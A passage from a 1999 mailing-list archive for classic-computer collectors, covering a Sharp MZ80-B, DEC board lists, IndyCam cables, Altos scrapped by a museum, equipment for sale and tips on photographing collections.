manual for the base machine, including the full > schematics :-) Need ! > Anyway, I've had a quick look at my machine. It appears to be pretty > stuffed. The 3 internal options - extra 32K RAM, 8K graphics RAM 1 and > the expansion cardcage are all installed. In the cardcage is the 8K > graphics RAM 2 card, a floppy controller, a Sharp 16 in, 16 out user > port, and a homebrew card (4 TTL chips, so it's going to be trivial to > work out what it does) THe MZ80s are basicly Z80 PETs :) > What I don't have is any software. All that's in the ROM is a bootstrap > for the cassette or disk. There's not even a machine code monitor :-(. So > I am totally stuck. There is - or at least should be - you are able to dump mem, change mem and start a programm. > Does anyone have one of these machines or know where to get the software > from? I'll have to look, back home are at least two books (and maybe some soft). Gruss H. -- Ich denke, also bin ich, also gut HRK From Philip.Belben at pgen.com Thu Jan 28 06:00:14 1999 From: Philip.Belben at pgen.com (Philip.Belben@pgen.com) Date: Sun Feb 27 18:40:37 2005 Subject: Handicapping competitions (was: Re: Alto II (was Re: PDP-8 prices Message-ID: <80256707.00470F26.00@WESTD90.pgen.co.uk> >> Hell, Sam, do a hard one. The main job is a piece of cake and I think >> Tony can do the extra-credit bit with _both_ hands tied behind his back. > > Well, I learnt to solder one-handed (very useful when you need the other > hand to hold something...), and no I don't mean pasting the solder on > with the iron.... > > But soldering without either hand? No thanks... I've never tried holding > a soldering iron between my toes... My usual method is to hold workpiece in left hand, iron in right hand and solder dispenser in mouth. I have also been known, when using solder straight from the reel, to make a fairly rigid structure from solder. Assuming a fixed workpiece, I suppose I could then hold the iron in my mouth... What about it, Tony? Philip. From mopar+ at pitt.edu Thu Jan 28 08:04:31 1999 From: mopar+ at pitt.edu (Jerome Marella) Date: Sun Feb 27 18:40:37 2005 Subject: more info on Old DEC stuff Message-ID: Some have asked for more info on the stuff I have, so here is the list: print sets: 11/730 field maintenance 11/750 pcs module ka750 mos memory array comet memory unit tu77 tu78 tu80 3x RA81 extra boards 2x m7819 m9313 4x m8750 l0008 l0002 l0003 l0004 2x l0016 11/750 w/14M l0001 e1 l0002 e l0003 k2 l0003 p2 l0008 ya l0028 b2 m7485 m 7486 ya m7792 m7793 11/750 w/14M l0001 e1 l0002 e l0003 k8 l0004 m1 l0008 ya l0006 l0007 l0022 m7819 00 m7521 aa m7528 m7485 m7486 h m7454 battery 11/730 w/4M chassis is not in a cabinet, this is the way I got it dual tu58 m8390 m8391 m8394 -- Jerome A. Marella University of Pittsburgh - CIS Systems & Networks 600 Epsilon Drive, Pittsburgh, PA 15238 mopar+@pitt.edu (412) 624-9139 Fax (412) 624-6436 http://www.pitt.edu/~mopar From pechter at monmouth.com Thu Jan 28 06:56:21 1999 From: pechter at monmouth.com (Bill Pechter) Date: Sun Feb 27 18:40:37 2005 Subject: Lifespan of disk drives In-Reply-To: from Tony Duell at "Jan 27, 99 08:09:57 pm" Message-ID: <199901281256.HAA07260@pechter.nws.net> > > On the other hand, there are a significant number of SA4000s that are > still working. What to guess how many modern drives will still be > operational in 15 years time ? > --tony I've got to jump in here. I've got 12 years on an IDE 80 meg WD drive. I don't doubt it'll do another 3. Actually, most drives at work get replaced because the latest Windowsxx or Solaris 2.x won't fit on them. The PRO350 I've got has at least 14 years on it's drive, as does the Rainbow. I can't consider ST506 stuff current. Bill --- Bill Gates is a Persian cat and a monocle away from being a villain in a James Bond movie -- Dennis Miller bpechter@shell.monmouth.com|pechter@pechter.nws.net|pechter@pechter.ddns.org From ckaiser at oa.ptloma.edu Thu Jan 28 08:54:32 1999 From: ckaiser at oa.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 18:40:37 2005 Subject: Sharp MZ80-B In-Reply-To: <199901281118.MAA22486@horus.mch.sni.de> from "Hans Franke" at Jan 28, 99 11:41:02 am Message-ID: <199901281454.GAA17512@oa.ptloma.edu> A non-text attachment was scrubbed... Name: not available Type: text Size: 469 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990128/11c33400/attachment.ksh From ckaiser at oa.ptloma.edu Thu Jan 28 09:03:06 1999 From: ckaiser at oa.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 18:40:37 2005 Subject: free stuff In-Reply-To: from "R. Stricklin" at Jan 27, 99 10:36:09 pm Message-ID: <199901281503.HAA17604@oa.ptloma.edu> A non-text attachment was scrubbed... Name: not available Type: text Size: 1252 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990128/3c3ee8fa/attachment.ksh From jfoust at threedee.com Thu Jan 28 09:27:18 1999 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:40:37 2005 Subject: free stuff In-Reply-To: <199901272349.PAA15140@oa.ptloma.edu> References: Message-ID: <3.0.5.32.19990128092718.00c60e60@pc> At 03:49 PM 1/27/99 -0800, Cameron Kaiser wrote: >::> Ok, I'll bite, WTH is an Indy Camera?? >:: >::A digital video camera for an SGI Indy. The market seems to be flooded >::with them right now for some reason. It looks like the Linux video capture driver does handle some sort of interface to I2C chips, but I couldn't find any references to a home page for that project, or of Usenet messages from people trying to interface IndyCams to other gizmos. With reconditioned QuickCam B/W's going for $50 these days, and NTSC-out chip cams for $75 or less... although I'd love to find a way to adapt "free" IndyCams. Can't have too many cams. - John From william at ans.net Thu Jan 28 09:55:20 1999 From: william at ans.net (William Donzelli) Date: Sun Feb 27 18:40:37 2005 Subject: free stuff In-Reply-To: Message-ID: > The connector is a super-high density 60 pin one, identical to those > used as serial interfaces on Cisco 2500 series routers. 4 rows of 15 pins > each. If anyone is really interested in trying to get Indy cams to work with older systems, I can supply some of the funky Cisco 60-pin cables. These are from some V.35 clone cables we had made up some time ago, but are now obsolete. William Donzelli william@ans.net From jfoust at threedee.com Thu Jan 28 10:02:12 1999 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:40:37 2005 Subject: free stuff In-Reply-To: References: Message-ID: <3.0.5.32.19990128100212.00cd2540@pc> At 10:55 AM 1/28/99 -0500, William Donzelli wrote: > >If anyone is really interested in trying to get Indy cams to work with >older systems, I can supply some of the funky Cisco 60-pin cables. These >are from some V.35 clone cables we had made up some time ago, but are now >obsolete. The IndyCam has a fixed cable that ends in this male connector. What we'd need are female sockets. On the other hand, if we're adapting excess cameras, given the thinness of the cable, I'm sure it would make more sense to cut and rewire the cable. They're not using all the pins. - John From william at ans.net Thu Jan 28 10:16:26 1999 From: william at ans.net (William Donzelli) Date: Sun Feb 27 18:40:37 2005 Subject: free stuff In-Reply-To: <3.0.5.32.19990128100212.00cd2540@pc> Message-ID: > The IndyCam has a fixed cable that ends in this male connector. What we'd > need are female sockets. On the other hand, if we're adapting excess > cameras, given the thinness of the cable, I'm sure it would make more > sense to cut and rewire the cable. They're not using all the pins. Hmmm...I guess I was not thinking. Anyway, let me see what I can find. Cisco AS51 Edgeservers are obsolete now, and we have bunches of them. The dead ones generally get trashed, as nobody at 3com wants to fix them. Maybe I can grab a bunch, even if I have to punch holes in the center of the boards (security, I suppose). William Donzelli william@ans.net From lemay at cs.umn.edu Thu Jan 28 10:31:27 1999 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 18:40:37 2005 Subject: Oops! Apology for misinformation about Altos donated to TCM In-Reply-To: <199901280628.WAA28838@saul9.u.washington.edu> from Derek Peschel at "Jan 27, 1999 10:28:02 pm" Message-ID: <199901281631.KAA08675@thufir.cs.umn.edu> > > Sorry, it seems that I was mistaken. The Xerox Alto computers that were > > scrapped by The Computer Museum were not donated by Al Kossow, but > > apparently by MIT. > > SCRAPPED?? I knew they scrapped their PDP-6 and sold the pieces, but I > hadn't heard about any Altos being scrapped. Damn. Idiots. Is there a > definitive list of sins they've committed? :| <-- only half-smiling > If there isnt, someone should start one. Arent they the idiots who were destroying core memory boards to sell pieces of core as souvenirs... -Lawrence LeMay From Hans.Franke at mch20.sbs.de Thu Jan 28 12:06:30 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:37 2005 Subject: Sharp MZ80-B In-Reply-To: <199901281454.GAA17512@oa.ptloma.edu> References: <199901281118.MAA22486@horus.mch.sni.de> from "Hans Franke" at Jan 28, 99 11:41:02 am Message-ID: <199901281707.SAA00893@horus.mch.sni.de> > ::THe MZ80s are basicly Z80 PETs :) > What makes you say that? Just look at it and compare - the only difference from a users view is that the PET had a ROM Basic, while the MZ80s would boot BASIC from cassette. Everyting else was _very_ similar - including the design of the case - chicklett or simple Keyboard, build in CRT, Flip case to open ... etc. They are definitly the Japanese answer to the PET/CBM. I belive their design order was 'make such a PET thing'. Remember, in the late 70s/early 80s Japan was still in the 'lets clone it and make it cheaper and maybe a bit better' bussines. Gruss H. -- Ich denke, also bin ich, also gut HRK From edick at idcomm.com Thu Jan 28 12:12:55 1999 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:40:37 2005 Subject: ID request Message-ID: <003201be4ae9$ea700d80$9a483cd1@edick> THis might very well be a Multibus-I motherboard. The Multibus-1 had two connectors, of which only the 86-pin one was defined. Naturally, Intel and others "extended" the bus bu means olf the secondary (dual 30-pin) connector, in some cases to interconnect two boards and in others to provide additional addresses, etc. -Dick- -----Original Message----- From: Mike To: Discussion re-collecting of classic computers Date: Wednesday, January 27, 1999 5:31 PM Subject: ID request >Hi. > >The green and copper of a board caught my eye today at the local thrift. At >first, I thought it was a four slot s100 motherboard but on closer >inspection I find the four slots are 86pin and it has a block harness for >Gnd,+5, -12, and +12. > >On the back is has: LEE DATA, 60001460 Rev A, WL-10, 31/85. > >Anyone know what this is for? > >Thanks >- Mike: dogas@leading.net > > From dpeschel at u.washington.edu Thu Jan 28 14:09:33 1999 From: dpeschel at u.washington.edu (Derek Peschel) Date: Sun Feb 27 18:40:37 2005 Subject: free stuff In-Reply-To: from "William Donzelli" at Jan 28, 99 11:16:26 am Message-ID: <199901282009.MAA29632@saul6.u.washington.edu> [IndyCams and 3COM stuff] Now that this thread is winding down anyway, I should point out that it's off-topic. :) Can you guys move on to something else? Hooking a QuickCam to a C64 sounded like a pretty neat hack, BTW. -- Derek From cfandt at netsync.net Thu Jan 28 15:37:28 1999 From: cfandt at netsync.net (Christian Fandt) Date: Sun Feb 27 18:40:37 2005 Subject: Fwd: FS: Manuals for Heath/Zenith PC Message-ID: <4.1.19990128163515.0097e4d0@206.231.8.2> I'm passing this on from the Heath reflector. Reply to JPD , not me. >X-Mailer: Mozilla 2.01 (Win16; I) >Date: Thu, 28 Jan 1999 14:16:07 -0800 >Reply-To: JPD >Sender: Heathkit Owners and Collectors List >From: JPD >Subject: FS: Manuals for Heath/Zenith PC >To: HEATH@LISTSERV.TEMPE.GOV > >I would like to sell these as a lot. >"Blue Moon" January special. ;) >Offers accepted until Feb 1. > >CP/M Software manual >H89A Heath manual, not a photocopy >Z100 Service volumes I + II >H88 H/WH89 Service Data manual >Z8911 I/O Card manual >Z8937 Disc Controller manual >H/WH19 Video Term. manual > Disc Diagnostic manual > >--- --- --- --- --- --- --- --- --- --- --- --- --- -- >To subscribe: listserv@listserv.tempe.gov >and in body: subscribe HEATH yourfirstname yourlastname >To unsubscribe: listserv@listserv.tempe.gov >and in body: signoff HEATH >Archives for HEATH: http://www.tempe.gov/archives >--- --- --- --- --- --- --- --- --- --- --- --- --- -- Christian Fandt, Electronic/Electrical Historian Jamestown, NY USA cfandt@netsync.net Member of Antique Wireless Association URL: http://www.ggw.org/freenet/a/awa/ From ard at p850ug1.demon.co.uk Thu Jan 28 16:13:10 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:37 2005 Subject: Sharp MZ80-B In-Reply-To: <199901281118.MAA22486@horus.mch.sni.de> from "Hans Franke" at Jan 28, 99 11:41:02 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1476 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990128/f71f2480/attachment.ksh From ard at p850ug1.demon.co.uk Thu Jan 28 16:16:37 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:37 2005 Subject: Handicapping competitions (was: Re: Alto II (was Re: PDP-8 prices In-Reply-To: <80256707.00470F26.00@WESTD90.pgen.co.uk> from "Philip.Belben@pgen.com" at Jan 28, 99 01:00:14 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 787 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990128/dfcd7a71/attachment.ksh From ard at p850ug1.demon.co.uk Thu Jan 28 16:03:25 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:37 2005 Subject: Oops! Apology for misinformation about Altos donated to TCM In-Reply-To: <19990128061734.28240.qmail@brouhaha.com> from "Eric Smith" at Jan 28, 99 06:17:34 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 548 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990128/88cf322d/attachment.ksh From joe at barrera.org Thu Jan 28 16:37:22 1999 From: joe at barrera.org (Joseph S. Barrera III) Date: Sun Feb 27 18:40:37 2005 Subject: Oops! Apology for misinformation about Altos donated to TCM Message-ID: <010301be4b0e$c635ea00$11d53d9d@JOEBAR> >I am annoyed and depressed You are very much not alone. - Joe From doug at blinkenlights.com Thu Jan 28 19:02:38 1999 From: doug at blinkenlights.com (Doug) Date: Sun Feb 27 18:40:37 2005 Subject: KIM-1 Case In-Reply-To: Message-ID: A while back, Marvin showed a pic of a nice KIM-1 case that looked like it might have been a factory option. I just found an old ad from "the enclosure group" for a case that looked just like it for $23.50 in 1979. Somebody in the San Francisco area should poke their head around 55 Stevenson, and see if they can find a bunch of old KIM-1 cases in a dusty warehouse.... -- Doug From rcini at msn.com Thu Jan 28 19:42:08 1999 From: rcini at msn.com (Richard A. Cini, Jr.) Date: Sun Feb 27 18:40:37 2005 Subject: Attn: Andrew Davie-is e-mail address right? Message-ID: <007c01be4b28$b51b68c0$e0e5fea9@mainoffice> Sorry for the intrusion, but I'm getting a bad IP address error on Andrew's e-mail address. Andrew, if you can hear me, I'd be interested in the below... A quick check shows 3 pages of "Interface schematic" and a 3 pages of "Display/Control Schematic" and assorted sundries. PLMK if you are still looking, and I can probably arrange something. Thanks! [ Rich Cini/WUGNET [ ClubWin!/CW7 [ MCP Windows 95/Windows Networking [ Collector of "classic" computers [ http://highgate.comm.sfu.ca/~rcini/classiccmp/ [ http://highgate.comm.sfu.ca/~rcini/pdp11/ <================ reply separator =================> ------Transcript of session follows ------- Connection to mad.scientist.com failed. No Ip address found from email.msn.com-10.48.181.33 adavie@mad.scientist.com Server received Winsock error Host not found. From kyrrin at my-dejanews.com Thu Jan 28 20:18:35 1999 From: kyrrin at my-dejanews.com (Bruce Lane) Date: Sun Feb 27 18:40:37 2005 Subject: FW: PDP11/70 + Lots of goodies available! Message-ID: <36b21a44.808568319@smtp.jps.net> Anyone want an 11/70? This guy's going to trash it if no one steps forward. -=-=- -=-=- From: David Low Newsgroups: alt.sys.pdp11 Subject: PDP 11/70 Any value Date: Tue, 26 Jan 1999 13:00:45 +0000 Organization: UUNET WorldCom server (post doesn't reflect views of UUNET WorldCom) Lines: 52 Message-ID: <36ADBC79.5508E5E1@dial.pipex.com> NNTP-Posting-Host: usern243.uk.uudial.com Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="------------1B1F62740C54D10DB1C9CABC" X-Mailer: Mozilla 4.5 [en] (Win95; I) X-Accept-Language: en Path: news1.jps.net!news.pbi.net!131.119.28.147!su-news-hub1.bbnplanet.com!cpk-news-hub1.bbnplanet.com!news.gtei.net!newsfeed.cwix.com!18.24.4.11!newsswitch.lcs.mit.edu!rill.news.pipex.net!pipex!bore.news.pipex.net!pipex!not-for-mail Xref: news1.jps.net alt.sys.pdp11:804 This is a multi-part message in MIME format. --------------1B1F62740C54D10DB1C9CABC Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit I am finally having a clear out of my garage, amongst the stuff I have there is A Digital pdp11/70, including processor, 64 ports (emulex controllers) Kennedy tape deck, Processor has 4mb memory (Systime), there is a unibus expansion box which contains a disk controller, and the 2 x 32 port emulex controllers. I dont have the disk drives (which were 2 x Fuji super eagles). I have the software tapes, manuals etc. The sysgen listing and patches for Rsts/e 9.3. Is this worth out, or should I finally consign to the skip. (btw all the above is in a systime double width cabinet. regards,, David Low -=-=-=-=-=-=-=-=- Bruce Lane, Owner and head honcho, Blue Feather Technologies -- kyrrin (at) bluefeathertech [dot] com Web: http://www.bluefeathertech.com "...No matter how we may wish otherwise, our science can only describe an object, event, or living thing in our own human terms. It cannot possibly define any of them..." From netcafe at pirie.mtx.net.au Thu Jan 28 20:29:11 1999 From: netcafe at pirie.mtx.net.au (Computer Room Internet Cafe) Date: Sun Feb 27 18:40:37 2005 Subject: Attn: Andrew Davie-is e-mail address right? Message-ID: <01be4b2f$279561c0$f17d38cb@netcafe.pirie.mtx.net.au> -----Original Message----- From: Richard A. Cini, Jr. To: Discussion re-collecting of classic computers Date: Friday, 29 January 1999 13:16 Subject: Attn: Andrew Davie-is e-mail address right? >Sorry for the intrusion, but I'm getting a bad IP address error on Andrew's >e-mail address. > >Andrew, if you can hear me, I'd be interested in the below... > > A quick check shows 3 pages of "Interface schematic" and a 3 pages of > "Display/Control Schematic" and assorted sundries. PLMK if you are >still > looking, and I can probably arrange something. > >Thanks! > >[ Rich Cini/WUGNET >[ ClubWin!/CW7 >[ MCP Windows 95/Windows Networking >[ Collector of "classic" computers >[ http://highgate.comm.sfu.ca/~rcini/classiccmp/ >[ http://highgate.comm.sfu.ca/~rcini/pdp11/ ><================ reply separator =================> >------Transcript of session follows ------- >Connection to mad.scientist.com failed. No Ip address found from >email.msn.com-10.48.181.33 >adavie@mad.scientist.com >Server received Winsock error Host not found. Your DNS seems to have a problem finding it for some reason. Host name: mad.scientist.com IP address: 207.51.48.65 Alias(es): None Works for me.... Cheers Geoff Roberts Computer Room Internet Cafe Port Pirie South Australia. netcafe@pirie.mtx.net.au From jrkeys at concentric.net Thu Jan 28 20:36:45 1999 From: jrkeys at concentric.net (John R. Keys Jr.) Date: Sun Feb 27 18:40:37 2005 Subject: FW: Nice finds Message-ID: <000501be4b30$362a2e40$62afadce@5x86jk> -----Original Message----- From: John R. Keys Jr. [mailto:jrkeys@concentric.net] Sent: Thursday, January 28, 1999 8:25 PM To: classicccmp@u.washington.edu Subject: FW: Nice finds -----Original Message----- From: John R. Keys Jr. [mailto:jrkeys@concentric.net] Sent: Wednesday, January 27, 1999 6:56 PM To: Classic Subject: Nice finds Well it's been awhile and I have picked a lot more items than I can list without causing problems. I have just few things worth telling everyone about. 1) video tape from by Microsoft called Windows At Work from May 20,1991 featuring Bill Gates giving the keynote address at the first Windows World Conference and Exposition. 2) four brand new unopened video's from Apple (1991) called Apple Mac Competitive Series - on Applications, Power, Networking, and Growth. 3) One used video called Welcome to Macintosh from 1989 4)The Home Computer Handbook ISBN 0-671-47221-6 really a great read with lots of photos 5) Tandem Advance Command Language reference manual. 6) Handheld products Micro-wand systems a model II & III hand held wands, a direct plug-in transformer, all the manuals and software for them. 7) Sailor-2 ONE/D EPROM programmer with manual and software 8) Datarase II EPROM eraser holds up to 4 40pins units at once. 9) Grid model 1810 notebook 10) Commodore Amiga A600HD unit 11) Commodore 1802 monitor 12) V-marc 88a computer 13) TRS80 model 12 14) LEX-21 terminal unit 15)CBM 2001 series works great 16) Otrona Attache portable computer 17) Heathkit H9 video terminal 18) About 30 2600 cartridges That's it for now but this is just a small amount of the items picked up over the last few weeks. Hope to have a web site up soon on concentric.net to list most if not all of the items I have in the collection. Keep Computing John From rigdonj at intellistar.net Thu Jan 28 22:57:12 1999 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:40:37 2005 Subject: FW: Nice finds In-Reply-To: <000501be4b30$362a2e40$62afadce@5x86jk> Message-ID: <3.0.1.16.19990128225712.4d872c78@intellistar.net> At 08:36 PM 1/28/99 -0600, you wrote: > >Well it's been awhile and I have picked a lot more items than I can list >without causing problems. I have just few things worth telling everyone >about. >6) Handheld products Micro-wand systems a model II & III hand held wands, a >direct plug-in transformer, all the manuals and software for them. Interesting. I know the guy that owns Hand Held Products. He started out making EPROM boxs for the HP 41 calculators. Now he's made it big time in the bar code field. He makes some great stuff! But I didn't know he made stuff for the TRS computers. Joe From joe at barrera.org Thu Jan 28 21:00:02 1999 From: joe at barrera.org (Joseph S. Barrera III) Date: Sun Feb 27 18:40:37 2005 Subject: Antique Computer Rare Vintage HP-41C Classic [Re: FW: Nice finds] Message-ID: <021501be4b33$77689330$11d53d9d@JOEBAR> > Interesting. I know the guy that owns Hand Held Products. He started > out making EPROM boxs for the HP 41 calculators. Now he's made it big time You realize, of course, that the HP-41C is an "Antique Computer Rare Vintage Classic", right? http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=61225809 - Joe :-) From doug at blinkenlights.com Thu Jan 28 21:03:18 1999 From: doug at blinkenlights.com (Doug) Date: Sun Feb 27 18:40:38 2005 Subject: FW: Nice finds In-Reply-To: <000501be4b30$362a2e40$62afadce@5x86jk> Message-ID: On Thu, 28 Jan 1999, John R. Keys Jr. wrote: > 1) video tape from by Microsoft called Windows At Work from May 20,1991 > featuring Bill Gates giving the keynote address at the first Windows World > Conference and Exposition. Keep that one! It documents one of Microsoft's well publisized but forgotten failures. BTW, anybody remember Modular Windows? There's a Tandy VIS at WeirdStuff for about $75.... > 16) Otrona Attache portable computer Dang, I've been looking for one (cheap) for a while. -- Doug From doug at blinkenlights.com Thu Jan 28 21:10:56 1999 From: doug at blinkenlights.com (Doug) Date: Sun Feb 27 18:40:38 2005 Subject: Antique Computer Rare Vintage HP-41C Classic [Re: FW: Nice finds] In-Reply-To: <021501be4b33$77689330$11d53d9d@JOEBAR> Message-ID: On Thu, 28 Jan 1999, Joseph S. Barrera III wrote: > You realize, of course, that the HP-41C is an "Antique Computer Rare Vintage > Classic", right? Yes. -- Doug From eric at brouhaha.com Thu Jan 28 21:12:10 1999 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:40:38 2005 Subject: FW: PDP11/70 + Lots of goodies available! In-Reply-To: <36b21a44.808568319@smtp.jps.net> (kyrrin@my-dejanews.com) References: <36b21a44.808568319@smtp.jps.net> Message-ID: <19990129031210.1637.qmail@brouhaha.com> Bruce wrote: > Anyone want an 11/70? This guy's going to trash it if no one steps > forward. I wrote to him, since I've been looking for an 11/70 for quite some time. The problem is the cost of shipping it from the UK to California. From adavie at mad.scientist.com Thu Jan 28 21:16:13 1999 From: adavie at mad.scientist.com (Andrew Davie) Date: Sun Feb 27 18:40:38 2005 Subject: Attn: Andrew Davie-is e-mail address right? Message-ID: <003201be4b35$bac25380$1901a8c0@titanic.bde.com.au> OK, sorry about this post to the list... People having trouble contacting me please use adavie@comcen.com.au The adavie@mad.scientist.com is a valid iname redirected address - obviously they're having some problems. I use mad.scientist as it's cool :) and, should I change ISPs, I won't have to tell the world. A -----Original Message----- From: Computer Room Internet Cafe To: Discussion re-collecting of classic computers Date: Friday, January 29, 1999 1:49 PM Subject: Re: Attn: Andrew Davie-is e-mail address right? -----Original Message----- From: Richard A. Cini, Jr. To: Discussion re-collecting of classic computers Date: Friday, 29 January 1999 13:16 Subject: Attn: Andrew Davie-is e-mail address right? >Sorry for the intrusion, but I'm getting a bad IP address error on Andrew's >e-mail address. > -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/19990129/54ac2b0d/attachment.html From doug at blinkenlights.com Thu Jan 28 21:37:56 1999 From: doug at blinkenlights.com (Doug) Date: Sun Feb 27 18:40:38 2005 Subject: Sharp MZ80-B In-Reply-To: Message-ID: On Thu, 28 Jan 1999, Tony Duell wrote: > A few years ago I was given a Sharp MZ80-B computer + disk drive. > Yesterday I got the user manual for the base machine, including the full > schematics :-) Would you like an MX80K to go with that MZ80B? << Ray Fordham Ashford, Kent UK - Tuesday, January 26, 1999 at 09:11:35 I am getting rid of an old (1980) SHARP MX80K with manuals etc. Any offers? >> -- Doug From joe at barrera.org Thu Jan 28 21:52:13 1999 From: joe at barrera.org (Joseph S. Barrera III) Date: Sun Feb 27 18:40:38 2005 Subject: Really Very Common and Ordinary, Hard Not To Trip Over, GE-645s [Re: Antique Computer Rare Vintage HP-41C Classic [Re: FW: Nice finds]] Message-ID: <027601be4b3a$c1df5d20$11d53d9d@JOEBAR> Are there going to be any systems still running MULTICS in ten years? The list at http://www.multicians.org/sites.html sure looks dire. I don't have to tell anyone on this list how incredibly historically important MULTICS is. - Joe From lemay at cs.umn.edu Thu Jan 28 22:07:01 1999 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 18:40:38 2005 Subject: photographing olf computers/parts Message-ID: <199901290407.WAA10096@thufir.cs.umn.edu> Does anyone have any suggestions for ways to photograph parts of my collection? All i have is a basic 35mm camera and a polaroid... Should i use high speed 35mm film becasue of low light conditions indoors, or is a slower speed more important? Or is it important to have a white background for contrast.. Or should i try placing things on a flat bed scanner, etc.. Any suggestions are appreciated. I want to photograph some of my rarer items (Teraks, Sun 1, if you saw that Burroughs core memory that just sold on ebay I have one of those too plus a foot long chunk of wire-wrapped boards from that computer, etc). -Lawrence LeMay From dastar at ncal.verio.com Thu Jan 28 22:50:13 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:38 2005 Subject: photographing olf computers/parts In-Reply-To: <199901290407.WAA10096@thufir.cs.umn.edu> Message-ID: On Thu, 28 Jan 1999, Lawrence LeMay wrote: > Should i use high speed 35mm film becasue of low light conditions indoors, > or is a slower speed more important? Or is it important to have a white > background for contrast.. Or should i try placing things on a flat bed > scanner, etc.. I'd put a nice white cloth as a background, draped from the floor to the ceiling (or high enough to stretch beyond the frame). Also, put a white cloth on the floor. Use this for darker pieces. For lighter pieces I'd use a darker cloth for contrast. Of course I'm not a real photographer so I'm just drawing from common sense. If I were you I'd invest in a good digital camera though. I use an Olympus D-220L and its fab. The pictures it takes are excellent. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 01/15/99] From H.Davies at latrobe.edu.au Thu Jan 28 22:58:21 1999 From: H.Davies at latrobe.edu.au (Huw Davies) Date: Sun Feb 27 18:40:38 2005 Subject: MULTICS survivability In-Reply-To: <027601be4b3a$c1df5d20$11d53d9d@JOEBAR> Message-ID: <4.1.19990129154954.00a3f9e0@lucifer.its.latrobe.edu.au> At 07:52 PM 28-01-99 -0800, Joseph S. Barrera III wrote: >Are there going to be any systems still running MULTICS in ten years? > >The list at http://www.multicians.org/sites.html sure looks dire. > >I don't have to tell anyone on this list how incredibly historically >important MULTICS is. I guess the only way we are going to see "working" MULTICS systems in the future is if someone writes a suitable emulator for the GE635 hardware. It's been a while since I read Organick's book on MULTICS and my copy seems to have been lost somewhere along the line, but I don't think that an emulator should be too hard (of course, someone will immediately come up with a good reason why it won't work!). Huw Davies | e-mail: Huw.Davies@latrobe.edu.au Information Technology Services | Phone: +61 3 9479 1550 Fax: +61 3 9479 1999 La Trobe University | "If God had wanted soccer played in the Melbourne Australia 3083 | air, the sky would be painted green" From siconic at jasmine.psyber.com Thu Jan 28 23:03:24 1999 From: siconic at jasmine.psyber.com (Vintage Computer Festival) Date: Sun Feb 27 18:40:38 2005 Subject: Original Mac (fwd) Message-ID: Here's a guy wanting to sell his original MAcintosh. Please send e-mail directly to the seller: Mail-to: walk@me.unlv.edu ---------- Forwarded message ---------- Date: Thu, 28 Jan 1999 20:18:29 -0800 From: Ray Kozak Subject: Original Mac Have an original Mac 128 with image writerII, external drive, extermal modem and lots of software I would like to sell. Do you have any resources I can contact to detetermine a fair price and any bbs to list the system for sale? Thanks RCK Sellam Alternate e-mail: dastar@verio.com ------------------------------------------------------------------------------- Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0! See http://www.vintage.org/vcf for details [Last web site update: 01/15/99] From jimw at agora.rdrop.com Thu Jan 28 23:27:27 1999 From: jimw at agora.rdrop.com (James Willing) Date: Sun Feb 27 18:40:38 2005 Subject: photographing old computers/parts In-Reply-To: <199901290407.WAA10096@thufir.cs.umn.edu> Message-ID: <3.0.3.32.19990128212727.00948600@agora.rdrop.com> At 10:07 PM 1/28/99 -0600, you wrote: >Does anyone have any suggestions for ways to photograph parts of my >collection? All i have is a basic 35mm camera and a polaroid... > >Should i use high speed 35mm film becasue of low light conditions indoors, >or is a slower speed more important? Or is it important to have a white >background for contrast.. Or should i try placing things on a flat bed >scanner, etc.. Well... from my perspective: Medium speed film if you have the light, altho I'll admit that I use ASA400 a lot when I'm shooting equipment so I have more latitude on depth of field. A couple of halogen work lights are adaquate for lighting most sessions, unless you have something like a NeXT cube. (all black!) Backgrounds to taste, as long as you don't use reflective lighting. Those familiar with my web pages may note that I'm somewhat fond of blue for backgrounds. Putting things in the flat-bed scanner does not work well... (for me at least) The shadows created as the carriage scans, along with the short focus most scanners have tends to cause odd artifacts in the images. Better to shoot to print or slide and go from there. I've also tried video captures on occasion... I'll leave it as an exercise for the viewer to figure out which images came from that source. B^} -jim --- jimw@agora.rdrop.com The Computer Garage - http://www.rdrop.com/~jimw Computer Garage Fax - (503) 646-0174 From ard at p850ug1.demon.co.uk Thu Jan 28 23:22:10 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:38 2005 Subject: photographing olf computers/parts In-Reply-To: from "Sam Ismail" at Jan 28, 99 08:50:13 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 2941 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990129/5b2a0813/attachment.ksh From ard at p850ug1.demon.co.uk 